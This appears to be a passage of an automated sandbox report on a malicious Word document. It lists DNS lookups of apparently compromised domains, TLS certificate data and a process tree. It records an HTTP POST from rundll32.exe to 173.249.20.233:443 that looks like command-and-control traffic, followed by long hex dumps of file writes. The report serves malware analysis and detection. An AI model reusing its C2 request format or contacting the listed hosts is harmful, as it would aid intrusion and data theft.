Feb 1, 2021 23:25:17.589114904 CET 51255 53 192.168.2.4 8.8.8.8

Feb 1, 2021 23:25:17.639827013 CET 53 51255 8.8.8.8 192.168.2.4

Feb 1, 2021 23:25:21.696125984 CET 61522 53 192.168.2.4 8.8.8.8

Feb 1, 2021 23:25:21.755196095 CET 53 61522 8.8.8.8 192.168.2.4

Feb 1, 2021 23:25:23.831988096 CET 52337 53 192.168.2.4 8.8.8.8

Feb 1, 2021 23:25:23.880327940 CET 53 52337 8.8.8.8 192.168.2.4

Feb 1, 2021 23:25:29.161744118 CET 55046 53 192.168.2.4 8.8.8.8

Feb 1, 2021 23:25:29.224725962 CET 53 55046 8.8.8.8 192.168.2.4

Feb 1, 2021 23:25:43.635374069 CET 49612 53 192.168.2.4 8.8.8.8

Feb 1, 2021 23:25:43.695733070 CET 53 49612 8.8.8.8 192.168.2.4

Feb 1, 2021 23:25:44.288331985 CET 49285 53 192.168.2.4 8.8.8.8

Feb 1, 2021 23:25:44.344719887 CET 53 49285 8.8.8.8 192.168.2.4

Feb 1, 2021 23:25:44.961225033 CET 50601 53 192.168.2.4 8.8.8.8

Feb 1, 2021 23:25:45.010988951 CET 53 50601 8.8.8.8 192.168.2.4

Feb 1, 2021 23:25:45.397160053 CET 60875 53 192.168.2.4 8.8.8.8

Feb 1, 2021 23:25:45.469964027 CET 56448 53 192.168.2.4 8.8.8.8

Feb 1, 2021 23:25:45.472508907 CET 53 60875 8.8.8.8 192.168.2.4

Feb 1, 2021 23:25:45.556623936 CET 53 56448 8.8.8.8 192.168.2.4

Feb 1, 2021 23:25:46.067111015 CET 59172 53 192.168.2.4 8.8.8.8

Feb 1, 2021 23:25:46.123389006 CET 53 59172 8.8.8.8 192.168.2.4

Feb 1, 2021 23:25:46.673748970 CET 62420 53 192.168.2.4 8.8.8.8

Feb 1, 2021 23:25:46.730539083 CET 53 62420 8.8.8.8 192.168.2.4

Feb 1, 2021 23:25:47.361151934 CET 60579 53 192.168.2.4 8.8.8.8

Feb 1, 2021 23:25:47.420326948 CET 53 60579 8.8.8.8 192.168.2.4

Feb 1, 2021 23:25:47.830176115 CET 50183 53 192.168.2.4 8.8.8.8

Feb 1, 2021 23:25:47.878108978 CET 53 50183 8.8.8.8 192.168.2.4

Feb 1, 2021 23:25:48.203210115 CET 61531 53 192.168.2.4 8.8.8.8

Feb 1, 2021 23:25:48.259474993 CET 53 61531 8.8.8.8 192.168.2.4

Feb 1, 2021 23:25:49.472291946 CET 49228 53 192.168.2.4 8.8.8.8

Feb 1, 2021 23:25:49.531461000 CET 53 49228 8.8.8.8 192.168.2.4

Feb 1, 2021 23:25:50.022305012 CET 59794 53 192.168.2.4 8.8.8.8

Feb 1, 2021 23:25:50.074915886 CET 53 59794 8.8.8.8 192.168.2.4

Feb 1, 2021 23:25:59.745949030 CET 55916 53 192.168.2.4 8.8.8.8

Feb 1, 2021 23:25:59.794500113 CET 53 55916 8.8.8.8 192.168.2.4

Feb 1, 2021 23:26:00.062516928 CET 52752 53 192.168.2.4 8.8.8.8

Feb 1, 2021 23:26:00.121984959 CET 53 52752 8.8.8.8 192.168.2.4

Feb 1, 2021 23:26:02.930495024 CET 60542 53 192.168.2.4 8.8.8.8

Feb 1, 2021 23:26:02.991489887 CET 53 60542 8.8.8.8 192.168.2.4

Feb 1, 2021 23:26:33.801259041 CET 60689 53 192.168.2.4 8.8.8.8

Feb 1, 2021 23:26:33.850214958 CET 53 60689 8.8.8.8 192.168.2.4

Feb 1, 2021 23:26:35.533540964 CET 64206 53 192.168.2.4 8.8.8.8

Feb 1, 2021 23:26:35.589812994 CET 53 64206 8.8.8.8 192.168.2.4

Timestamp Source Port Dest Port Source IP Dest IP

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Feb 1, 2021 23:25:15.730209112 CET 192.168.2.4 8.8.8.8 0xd28e Standard query 
(0)

physio-svdh.ch A (IP address) IN (0x0001)

Feb 1, 2021 23:25:16.674420118 CET 192.168.2.4 8.8.8.8 0x8fb2 Standard query 
(0)

www.isatec
hnology.com

A (IP address) IN (0x0001)

Feb 1, 2021 23:25:16.854863882 CET 192.168.2.4 8.8.8.8 0xb149 Standard query 
(0)

www.isatec
hnology.com

A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Feb 1, 2021 
23:25:15.794337988 
CET

8.8.8.8 192.168.2.4 0xd28e No error (0) physio-svdh.ch 194.209.195.106 A (IP address) IN (0x0001)

Feb 1, 2021 
23:25:16.839863062 
CET

8.8.8.8 192.168.2.4 0x8fb2 No error (0) www.isatec
hnology.com

isatechnology.com CNAME 
(Canonical 
name)

IN (0x0001)

DNS Queries

DNS Answers
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Feb 1, 2021 
23:25:16.839863062 
CET

8.8.8.8 192.168.2.4 0x8fb2 No error (0) isatechnol
ogy.com

35.208.182.43 A (IP address) IN (0x0001)

Feb 1, 2021 
23:25:16.910959005 
CET

8.8.8.8 192.168.2.4 0xb149 No error (0) www.isatec
hnology.com

isatechnology.com CNAME 
(Canonical 
name)

IN (0x0001)

Feb 1, 2021 
23:25:16.910959005 
CET

8.8.8.8 192.168.2.4 0xb149 No error (0) isatechnol
ogy.com

35.208.182.43 A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

            
173.249.20.233

173.249.20.233:443

         

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.2.4 49775 173.249.20.233 443 C:\Windows\SysWOW64\rundll32.exe

Timestamp
kBytes
transferred Direction Data

Feb 1, 2021 
23:26:34.798719883 CET

5316 OUT POST /hzctvbal94fl2bqa/ HTTP/1.1
DNT: 0
Referer: 173.249.20.233/hzctvbal94fl2bqa/
Content-Type: multipart/form-data; boundary=------------------eWKPCakCSQtYkd9BaQ
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 
2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: 173.249.20.233:443
Content-Length: 8516
Connection: Keep-Alive
Cache-Control: no-cache

Feb 1, 2021 
23:26:35.634749889 CET

5329 IN HTTP/1.1 200 OK
Server: nginx
Date: Mon, 01 Feb 2021 22:26:35 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Data Raw: 66 33 34 0d 0a 60 dd f8 6b f5 7b 0f 72 df 61 1b cd 10 8e 91 aa 4c ff 8b ca 73 b3 c5 42 00 7c 08 b1 eb 43 17 26 
a4 3b 38 3d 07 29 68 f3 a1 26 be 06 ff 46 31 95 d0 01 17 98 86 bd 9f 52 f3 6a 83 29 fb 9c 35 06 de df 7d 24 61 95 2f b9 08 
2a aa 20 59 22 15 ea 23 52 7e d4 bb ac fd 43 87 48 cc df 73 af 90 21 96 a3 7d 56 31 8e 27 be 2a 85 a8 52 60 dd f6 4d 4e 
5d e7 e6 39 a0 40 bc 4d 93 a4 e2 2b 05 06 a4 9d d5 45 65 d4 e0 e0 4b e1 c2 ea 76 a9 33 10 82 70 4c 88 27 9c d2 5b 6f 
4d 2b 71 47 0b 62 d0 63 b3 9c be b3 25 be fa b7 55 42 d1 2e 42 1a d1 11 f9 96 25 82 36 ab 2e 2a 41 1d 0c 85 b6 67 a0 f2 
15 21 5b 21 4a 61 df 46 91 b0 1f e4 78 2c 07 61 62 3b df 54 d4 b6 07 25 38 02 a8 04 55 79 08 f9 28 a9 33 f5 88 89 11 74 
58 fa 84 29 e3 c4 88 15 85 cc 7d 86 bc 16 7b fc f5 10 0a 52 b7 68 23 29 40 e3 81 ce 9a d5 51 5e 44 ab 56 a5 f6 51 44 88 
5b ce e5 2c 91 6e 73 34 c6 b8 ea 50 82 13 8b c1 f2 48 17 93 4a ea f9 08 53 a3 3a a7 c0 57 ef d0 c0 bf f2 9c 71 12 6d ee 
10 3a 0a 05 6e 82 6e 22 9d 5c 72 c2 b7 10 47 ef 13 7a f1 b8 c6 b7 de 7b 9c fb be b9 70 4b 82 04 54 e3 6c 12 b4 7c 9b cf 
c1 22 6e f5 e1 16 b9 47 d0 67 e7 fc d2 7c 8d 43 08 5c fb 5d 1a 16 3b 07 dc 55 60 5c aa 96 cd 8b 01 d2 e0 f7 86 8f e3 61 
0a 56 38 24 e9 19 45 f0 3d 52 b4 fe 04 9a b1 86 3b 0b b0 4f 15 09 ae 5b 9a 04 a6 17 92 96 73 f7 d4 86 82 fe 11 60 c8 15 
81 a4 cf 75 7f 7a 89 f1 6f 2d f1 f3 aa d2 07 25 6e c3 da 5c 62 94 08 1e a8 c4 eb 9f fd 77 00 2c cf f0 06 14 14 6a 68 d7 37 
89 b5 2a bc eb 36 ae fb 9d fb 13 7e c5 f7 b2 79 a8 d4 1b 15 a9 9c ed 4d 39 6d a4 a2 37 bd f9 68 43 d0 7f ca fa 69 cf 6a df 
39 3d be ef 9e 99 af a3 4e 75 ee f9 f0 99 d3 f9 1d 34 72 fb ea 0e e0 41 30 05 b4 f3 b5 59 1d 35 bb 34 b3 58 36 08 62 74 32
71 72 3e 97 c0 23 8d 66 04 29 09 08 56 4a a2 e2 91 16 bb 98 4a 1d 4b 95 2a 37 a5 8f ec 0d 6d ed 7a 5c c5 16 33 44 7d 
26 c1 da da 9f 67 44 a6 36 7e e8 12 c9 40 05 5d 8b 8c 83 00 de bd 4f da 2a 67 3d 48 23 91 d0 cf 77 a8 a1 47 c1 9e 52 ab 
54 6a 2d ce 9b b3 15 15 a7 0d 62 d4 74 08 50 6b 5d dc ab b8 c2 75 26 1f fb fd eb d3 c7 d0 6c dd ab b4 75 f1 a8 3c 59 47 
5f c5 25 e4 da 5d f3 b3 b6 3f 30 01 df b4 cb af 3d 8b 0e 5f d2 b6 9d 1b 04 84 71 72 fa 35 e4 cf 84 93 6a ae 88 57 47 d5 e6 
be 9c 43 8f 4d 47 05 e1 1d 05 84 e1 51 23 cb bc f3 58 86 78 de 32 f8 cf f8 5b 68 ab ef 06 7a 3f 17 88 19 8a 5e fb 0e 7c 5b 
8d 9a 26 6f 5d c2 a4 c6 7c fd a1 e2 fa ab 47 ba 44 4e 15 14 ee c1 a8 14 8e 32 d9 43 50 7b 48 cc 42 89 fd 58 4e 0a 64 e0 
ba 43 77 9e 7d 1d c9 45 9a 15 de f9 32 5b 5e fa 32 0b de ac 09 7c d5 1e aa 6f c0 71 ac 1e c4 e9 76 de 35 56 d7 7b 21 89 
b4 7a 74 88 8a 9c 08 8f 96 3d ad f0 63 14 b1 24 20 28 7b 57 bd 87 95 b6 6d 94 22 5e e7 61 d7 96 97 6e 36 d4 d4 83 fc 71 
37 7f 53 4d 7a 1d 22 e4 f0 00 a9 8a 32 15 a8 b4 9a b9 6f c0 d7 df 4e ca 32 61 aa e9 20 4a ad 60 c4 f9 48 43 08 74 8d d4 
4d 24 ff b5 ca f1 c4 aa 85 89 9b 2f 28 b5 7a 19 ab 56 63 42 9d de 99 47 15 58 e2 73 5a a4 5b 24 e7 f1 0f 85 a8 28 36 87 
4e 7d a5 dc 15 7a ef 50 4d 28 4c 3a dc a3 00 4d c8 01 83 2b 02 57 63 ed 01 e7 bd 98 39 dd 97 92 10 a4 b0 9c 1d 91 85 
45 78 cd 6e d8 85 78 f0 93 a0 60 2c b3 d3 9a 31 49 b7 e4 d0 f6 c9 be e2 9f 0e 0a da e9 d2 6a e8 c9 be e8 d8 f8 dc 69 e2 
13 0d 43 7b db e4 4c 7e e4 45 d7 63 f5 ae 31 d2 0a e6 47 02 98 ae 17 e4 05 b1 20 a8 86 32 2a 7a c4 63 30 91 e6 96 04 
62 cf cd e7 74 42 41 e7 44 4d e0 e3 43 a0 e1 69 22 5a 48 f8 a4 e4 46 36 e0 41 c1 1e 09 b1 92 31 9b 61 80 0e 4c 98 11 3b 
6d 1e 68 35 05 11 9e e0 53 d7 18 1b 24 90 a8 08 ed 8c 41 45 66 b3 7f 97 a6 97 4c 99 7f 69 31 b1 28 
Data Ascii: f34`k{raLsB|C&;8=)h&F1Rj)5}$a/* Y"#R~CHs!}V1'*R`MN]9@M+EeKv3pL'[oM+qGbc%UB.B%6.*Ag![!JaF
x,ab;T%8Uy(3tX)}{Rh#)@Q^DVQD[,ns4PHJS:Wqm:nn"\rGz{pKTl|"nGg|C\];U`\aV8$E=R;O[s`uzo-%n\bw,jh7*6~yM9m7
hCij9=Nu4rA0Y54X6bt2qr>#f)VJJK*7mz\3D}&gD6~@]O*g=H#wGRTj-btPk]u&lu<YG_%]?0=_qr5jWGCMGQ#Xx2[hz?^|
[&o]|GDN2CP{HBXNdCw}E2[^2|oqv5V{!zt=c$ ({Wm"^an6q7SMz"2oN2a J`HCtM$/(zVcBGXsZ[$(6N}zPM(L:M+Wc9
Exnx`,1IjiC{L~Ec1G 2*zc0btBADMCi"ZHF6A1aL;mh5S$AEfLi1(

HTTP Request Dependency Graph

HTTP Packets

HTTPS Packets
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Code Manipulations

Statistics

Behavior

• WINWORD.EXE

• cmd.exe

• conhost.exe

• msg.exe

• powershell.exe

• rundll32.exe

• rundll32.exe

• rundll32.exe

• svchost.exe

• svchost.exe

• svchost.exe

Click to jump to process

System Behavior

Timestamp Source IP
Source
Port Dest IP

Dest
Port Subject Issuer

Not
Before

Not
After

JA3 SSL Client
Fingerprint JA3 SSL Client Digest

Feb 1, 2021 
23:25:15.906698942 
CET

194.209.195.106 443 192.168.2.4 49742 CN=physio-svdh.ch CN=R3, 
O=Let's Encrypt, C=US

CN=R3, O=Let's 
Encrypt, C=US 
CN=DST Root CA 
X3, O=Digital 
Signature Trust 
Co.

Sat Jan 
02 
17:26:00 
CET 
2021 
Wed Oct 
07 
21:21:40 
CEST 
2020

Fri Apr 
02 
18:26:00 
CEST 
2021 
Wed 
Sep 29 
21:21:40 
CEST 
2021

771,49196-49195-
49200-49199-159-
158-49188-49187-
49192-49191-
49162-49161-
49172-49171-157-
156-61-60-53-47-
10,0-10-11-13-35-
23-65281,29-23-
24,0

3b5074b1b5d032e5620f6
9f9f700ff0e

CN=R3, O=Let's Encrypt, 
C=US

CN=DST Root CA 
X3, O=Digital 
Signature Trust 
Co.

Wed Oct 
07 
21:21:40 
CEST 
2020

Wed 
Sep 29 
21:21:40 
CEST 
2021

Feb 1, 2021 
23:25:17.220958948 
CET

35.208.182.43 443 192.168.2.4 49744 CN=isatechnology.com 
CN=R3, O=Let's Encrypt, 
C=US

CN=R3, O=Let's 
Encrypt, C=US 
CN=DST Root CA 
X3, O=Digital 
Signature Trust 
Co.

Fri Jan 
15 
19:51:39 
CET 
2021 
Wed Oct 
07 
21:21:40 
CEST 
2020

Thu Apr 
15 
20:51:39 
CEST 
2021 
Wed 
Sep 29 
21:21:40 
CEST 
2021

771,49196-49195-
49200-49199-159-
158-49188-49187-
49192-49191-
49162-49161-
49172-49171-157-
156-61-60-53-47-
10,0-10-11-13-35-
23-65281,29-23-
24,0

3b5074b1b5d032e5620f6
9f9f700ff0e

CN=R3, O=Let's Encrypt, 
C=US

CN=DST Root CA 
X3, O=Digital 
Signature Trust 
Co.

Wed Oct 
07 
21:21:40 
CEST 
2020

Wed 
Sep 29 
21:21:40 
CEST 
2021

Analysis Process: WINWORD.EXE PID: 4180 Parent PID: 800Analysis Process: WINWORD.EXE PID: 4180 Parent PID: 800

General
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File ActivitiesFile Activities

Start time: 23:25:04

Start date: 01/02/2021

Path: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

Wow64 process (32bit): true

Commandline: 'C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE' /Automation -Embedding

Imagebase: 0x1d0000

File size: 1937688 bytes

MD5 hash: 0B9AB9B9C4DE429473D6450D4297A123

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Path Access Attributes Options Completion Count
Source
Address Symbol

C:\Users\user\AppData\Local\Temp\~DF67E650B7B11DDEF7.TMP read attributes | 
delete | syn
chronize | 
generic read | 
generic write

device synchronous io 
non alert | non 
directory file | 
delete on close

success or wait 1 65D0F261 unknown

C:\Users\user\AppData\Local\Temp\VBE read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

success or wait 1 65DB977C unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd read attributes | 
synchronize | 
generic read | 
generic write

device synchronous io 
non alert | non 
directory file

success or wait 1 65CF3F8E unknown

C:\Users\user\Application Data\Microsoft\Forms read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

success or wait 1 65CEE349 unknown

C:\Users\user\Application Data\Microsoft\Forms\WINWORD.box read attributes | 
synchronize | 
generic read | 
generic write

device synchronous io 
non alert | non 
directory file

success or wait 1 65CEE349 unknown

C:\Users\user\AppData\Local\Temp\~DFBE6423380D83121C.TMP read attributes | 
synchronize | 
generic read | 
generic write

device synchronous io 
non alert | non 
directory file

success or wait 1 65CEE349 unknown

C:\Users\user\AppData\Local\Temp\~DFA430B90C533564C8.TMP read attributes | 
delete | syn
chronize | 
generic read | 
generic write

device synchronous io 
non alert | non 
directory file | 
delete on close

success or wait 1 65CEE349 unknown

C:\Users\user\AppData\Local\Temp\~DF9DB7E24FB3F8A895.TMP read attributes | 
synchronize | 
generic read | 
generic write

device synchronous io 
non alert | non 
directory file

success or wait 1 65CE5805 unknown

File Path Completion Count
Source
Address Symbol

C:\Users\user\AppData\Roaming\Microsoft\Forms\WINWORD.box success or wait 1 65CEE349 unknown

C:\Users\user\AppData\Local\Temp\~DF9DB7E24FB3F8A895.TMP success or wait 1 65CE5805 unknown

C:\Users\user\AppData\Local\Temp\~DFBE6423380D83121C.TMP success or wait 1 65DA232A unknown

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 4d 53 46 54 MSFT success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 02 00 01 00 .... success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 00 00 00 00 .... success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 09 04 00 00 .... success or wait 1 65CF3F8E unknown

File CreatedFile Created

File DeletedFile Deleted

File WrittenFile Written
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C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 00 00 00 00 .... success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 2 51 00 Q. success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 2 00 00 .. success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 2 02 00 .. success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 2 00 00 .. success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 06 00 00 00 .... success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 ab 00 00 00 .... success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 00 00 00 00 .... success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 00 00 00 00 .... success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 00 00 00 00 .... success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 cd 02 00 00 .... success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 15 24 00 00 .$.. success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 00 00 00 00 .... success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 24 00 00 00 $... success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 ff ff ff ff .... success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 20 00 00 00  ... success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 80 00 00 00 .... success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 0d 00 00 00 .... success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4 bc 00 00 00 .... success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 684 00 00 00 00 64 00 00 
00 c8 00 00 00 2c 01 
00 00 90 01 00 00 f4 
01 00 00 58 02 00 00 
bc 02 00 00 20 03 00 
00 84 03 00 00 e8 03 
00 00 4c 04 00 00 b0 
04 00 00 14 05 00 00 
78 05 00 00 dc 05 00 
00 40 06 00 00 a4 06 
00 00 08 07 00 00 6c 
07 00 00 d0 07 00 00 
34 08 00 00 98 08 00 
00 fc 08 00 00 60 09 
00 00 c4 09 00 00 28 
0a 00 00 8c 0a 00 00 
f0 0a 00 00 54 0b 00 
00 b8 0b 00 00 1c 0c 
00 00 80 0c 00 00 e4 
0c 00 00 48 0d 00 00 
ac 0d 00 00 10 0e 00 
00 74 0e 00 00 d8 0e 
00 00 3c 0f 00 00 a0 
0f 00 00 04 10 00 00 
68 10 00 00 cc 10 00 
00 30 11 00 00 94 11 
00 00 f8 11 00 00 5c 
12 00 00 c0 12 00 00 
24 13 00 00 88 13 00 
00 ec 13 00 00 50 14 
00 00 b4 14 00 00 18 
15 00 00 7c 15 00 00 
e0 15 00 00 44 16 00 
00 a8 16 00 00 0c 17 
00 00 70 17 00 00 d4 
17 00 00 38 18 00 00 
9c 18 00 

....d.......,...........X....... 

...........L...........x...

....@...........l.......4.....

......`.......(...........T...

................H...........t.......
<...........h.......0...
........\.......$...........P.
..........|.......D...........
p.......8......

success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff ff ff ff 00 6c 00 00 cc 
42 00 00 0f 00 00 00 

.....l...B...... success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff ff ff ff 00 0a 00 00 d0 
08 00 00 0f 00 00 00 

................ success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff ff ff ff 24 00 00 00 1c 
00 00 00 0f 00 00 00 

....$........... success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff ff ff ff 00 0c 00 00 00 
07 00 00 0f 00 00 00 

................ success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff ff ff ff 80 00 00 00 ff 
ff ff ff 0f 00 00 00 

................ success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff ff ff ff 00 20 00 00 80 
10 00 00 0f 00 00 00 

..... .......... success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff ff ff ff 00 02 00 00 ff 
ff ff ff 0f 00 00 00 

................ success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff ff ff ff 00 78 00 00 ec 
49 00 00 0f 00 00 00 

.....x...I...... success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff ff ff ff 00 0b 00 00 54 
06 00 00 0f 00 00 00 

........T....... success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff ff ff ff 00 10 00 00 10 
0e 00 00 0f 00 00 00 

................ success or wait 1 65CF3F8E unknown
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C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff ff ff ff 00 00 00 00 ff 
ff ff ff 0f 00 00 00 

................ success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff ff ff ff 20 00 00 00 10 
00 00 00 0f 00 00 00 

.... ........... success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff ff ff ff 00 00 00 00 ff 
ff ff ff 0f 00 00 00 

................ success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff ff ff ff 00 00 00 00 ff 
ff ff ff 0f 00 00 00 

................ success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 16 ff ff ff ff 00 00 00 00 ff 
ff ff ff 0f 00 00 00 

................ success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 17100 26 21 00 00 ff ff ff ff 00 
00 00 00 ff ff ff ff 0f 00 
00 00 00 00 00 00 00 
00 00 00 00 00 00 00 
00 00 00 00 00 00 00 
00 00 00 00 00 18 00 
00 00 00 00 00 00 14 
00 00 00 00 00 00 00 
ff ff ff ff 00 00 00 00 00 
00 00 00 ff ff ff ff 00 00 
00 00 04 00 00 00 03 
00 03 80 00 00 00 00 
e0 3c 75 13 ff ff ff ff 26 
21 01 00 ff ff ff ff 00 00 
00 00 ff ff ff ff 0f 00 00 
00 00 00 00 00 00 00 
00 00 00 00 00 00 00 
00 00 00 00 00 00 00 
00 00 00 00 30 00 00 
00 00 00 00 00 2c 00 
00 00 00 00 00 00 ff ff 
ff ff 00 00 00 00 00 00 
00 00 ff ff ff ff 00 00 00 
00 04 00 00 00 03 00 
03 80 00 00 00 00 b0 
41 75 13 ff ff ff ff a6 10 
02 00 ff ff ff ff 00 00 00 
00 ff ff ff ff 0f 00 00 00 
00 00 00 00 00 00 00 
00 00 00 00 00 00 00 
00 00 00 00 00 00 00 
00 00 00 48 00 00 00 
00 00 00 00 44 00 00 

&!............................
..............................
.................................
<u.....&!..................
........................0.....
..,...........................
.............Au...............
..............................
....H.......D..

success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 128 38 10 00 00 f8 07 00 
00 50 10 00 00 10 08 
00 00 a8 0f 00 00 40 
0e 00 00 c0 0f 00 00 
b8 0e 00 00 58 0e 00 
00 18 0f 00 00 e8 0b 
00 00 98 0a 00 00 e8 
0e 00 00 c0 0c 00 00 
c8 0d 00 00 28 0e 00 
00 90 09 00 00 88 0b 
00 00 20 10 00 00 58 
0b 00 00 08 10 00 00 
88 0e 00 00 68 10 00 
00 d8 0f 00 00 88 05 
00 00 48 0f 00 00 90 
0c 00 00 10 0e 00 00 
70 0e 00 00 78 0f 00 
00 00 0f 00 00 30 0f 
00 00 

8.......P...........@.........
..X...........................
(........... ...X...........h.
..........H...........p...x.......0...

success or wait 1 65CF3F8E unknown
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C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 4224 75 66 79 f7 64 47 8d 
47 98 7f 73 3d 32 b0 
c7 f1 fe ff ff ff ff ff ff ff 
01 43 50 66 0f be 1a 
10 8b bb 00 aa 00 30 
0c ab 00 00 00 00 ff ff 
ff ff 13 43 50 66 0f be 
1a 10 8b bb 00 aa 00 
30 0c ab 64 00 00 00 
ff ff ff ff 0b 43 50 66 0f 
be 1a 10 8b bb 00 aa 
00 30 0c ab c8 00 00 
00 ff ff ff ff 02 e0 f6 be 
74 a8 1a 10 8b ba 00 
aa 00 30 0c ab 2c 01 
00 00 ff ff ff ff 03 e0 f6 
be 74 a8 1a 10 8b ba 
00 aa 00 30 0c ab 90 
01 00 00 ff ff ff ff 20 47 
bb 10 97 f7 ce 11 b9 
ec 00 aa 00 6b 1a 69 
f4 01 00 00 ff ff ff ff e0 
03 0c 57 97 f7 ce 11 
b9 ec 00 aa 00 6b 1a 
69 58 02 00 00 ff ff ff ff 
90 f5 72 ec 75 f3 ce 11 
b9 e8 00 aa 00 6b 1a 
69 bc 02 00 00 ff ff ff ff 
70 23 b0 82 bc b5 cf 
11 81 0f 00 a0 c9 03 
00 74 20 03 00 00 00 
00 00 00 71 23 b0 82 
bc b5 cf 11 81 0f 00 
a0 c9 03 00 

ufy.dG.G..s=2............CPf..
.......0...........CPf........
.0..d........CPf.........0....
..........t........0..,.......
....t........0.......... G....
.......k.i...........W........
.k.iX.........r.u........k.i..
......p#.............t .......
q#.............

success or wait 1 65CF3F8E unknown

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd unknown 1792 20 03 00 00 01 00 00 
00 ff ff ff ff ff ff ff ff 84 
03 00 00 01 00 00 00 
ff ff ff ff ff ff ff ff e8 03 
00 00 01 00 00 00 ff ff 
ff ff ff ff ff ff 4c 04 00 
00 01 00 00 00 ff ff ff ff 
ff ff ff ff b0 04 00 00 01 
00 00 00 ff ff ff ff ff ff ff 
ff bc 02 00 00 01 00 
00 00 ff ff ff ff ff ff ff ff 
d8 0e 00 00 01 00 00 
00 ff ff ff ff 70 00 00 00 
68 10 00 00 03 00 00 
00 ff ff ff ff ff ff ff ff 04 
10 00 00 01 00 00 00 
ff ff ff ff 90 00 00 00 30 
11 00 00 03 00 00 00 
ff ff ff ff ff ff ff ff a0 0f 
00 00 01 00 00 00 ff ff 
ff ff b0 00 00 00 94 11 
00 00 03 00 00 00 ff ff 
ff ff ff ff ff ff 64 19 00 
00 01 00 00 00 ff ff ff ff 
d0 00 00 00 28 23 00 
